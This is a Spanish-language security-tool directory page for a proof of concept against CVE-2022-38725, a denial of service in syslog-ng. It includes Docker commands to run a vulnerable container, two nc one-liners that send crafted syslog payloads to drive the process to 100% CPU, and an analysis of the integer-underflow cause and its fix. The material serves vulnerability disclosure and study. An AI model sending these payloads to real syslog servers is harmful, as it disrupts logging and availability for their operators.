Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-38725 — Prueba de concepto para CVE-2022-38725 contra syslog-ng | Kitploit
Herramientas/GitHubGitHub/wdahlenburg/cve-2022-38725
Análisis de VulnerabilidadesExplotaciónSeguridad de RedesPruebas de PenetraciónAnálisis de Registros
GitHubwdahlenburg/cve-2022-38725

CVE-2022-38725

Prueba de concepto para CVE-2022-38725 contra syslog-ng

Ver Repositorio
2hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-38725

CVE-2022-38725 es una vulnerabilidad de Denegación de Servicio no autenticada en versiones de syslog-ng anteriores a la 3.38.1.

https://github.com/syslog-ng/syslog-ng/security/advisories/GHSA-7932-4fc6-pvmc

https://nvd.nist.gov/vuln/detail/CVE-2022-38725

Pasos para reproducir

  1. Descargue una imagen docker vulnerable:
root@kitploit:~
docker pull linuxserver/syslog-ng:3.36.1
  1. Ejecute un contenedor syslog-ng vulnerable. Tenga en cuenta que se pueden aplicar otras configuraciones de syslog, pero la configuración predeterminada es vulnerable:
root@kitploit:~
docker run -p 514:5514/udp -p 601:6601/tcp --rm -it linuxserver/syslog-ng:3.36.1
  1. Envíe el payload al servidor:
root@kitploit:~
echo '27 <182>2022-08-17T05:02:28.217 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1
  1. En el host vulnerable, observe que la CPU del proceso syslog-ng ha aumentado al 100%

syslog-ng-CVE-2022-38725

Análisis

Descargar herramienta

El lanzamiento 3.38.1 enlaza con https://github.com/syslog-ng/syslog-ng/pull/4110, que incluye pruebas unitarias y varias validaciones para prevenir variantes similares de este error.

El issue original incluye una depuración útil que identificó la causa raíz.

El aviso de GitHub afirma que la vulnerabilidad se produce por un análisis incorrecto de RFC3164, que es el formato BSD syslog tradicional. El aviso explica que puede ocurrir un underflow de enteros y que se cree que no hay impacto más allá de la disponibilidad.

La pull request para corregir la vulnerabilidad añade pruebas unitarias tanto al analizador de marcas de tiempo de RFC3164 como al de RFC5424 (formato syslog más reciente).

Tenga en cuenta que la especificación RFC3164 define que la marca de tiempo coincide con el formato Oct 11 22:14:15, mientras que RFC5424 utiliza el formato ISO, 1985-04-12T19:20:50.52-04:00. Los casos unitarios indican que el código de syslog-ng intenta analizar ambos formatos. El aviso de GitHub afirma que la vulnerabilidad ocurre al analizar mensajes RFC3164, lo cual no es del todo preciso. Los mensajes RFC5424 son los responsables de la marca de tiempo de longitud variable. Dado que el protocolo syslog no indica explícitamente un tipo de mensaje, el proyecto syslog-ng intentó analizar ambas marcas de tiempo. Esto permite que un mensaje RFC3164 con una marca de tiempo malformada también active la vulnerabilidad:

root@kitploit:~
echo '21 <182>Oct 11 22:14:15.123 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1

La fuente de syslog utiliza el conteo de octetos descrito por RFC6587, que prefija el mensaje syslog con el número de bytes enviados en mensajes TCP.

La vulnerabilidad puede activarse enviando un tamaño de mensaje que no contabilice completamente la marca de tiempo ISO. El código de syslog-ng itera sobre la marca de tiempo y resta el número de dígitos de la longitud especificada. Esta discrepancia permite una condición de underflow en la que la longitud de lectura termina siendo negativa mientras aún hay datos que leer del mensaje.

El proceso fluye hacia un bucle while donde el proceso queda atascado intentando leer caracteres del mensaje. Este problema resulta en un uso del 100% de la CPU para el proceso dado. Un atacante puede enviar múltiples payloads para consumir recursos adicionales del sistema.

Syslog no utiliza conteo de octetos sobre UDP, por lo que el payload anterior no tiene un efecto inusual. Reiniciar el contenedor/proceso de syslog-ng restablece el uso de la CPU.

Adicional

Uno de los mantenedores de syslog-ng indicó que podría ser posible activar esto mediante un TCP RST en medio de un mensaje. Se señaló que el mensaje tendría que enviar una marca de tiempo parcial antes del TCP RST. Esto podría permitir que se omita el conteo de octetos.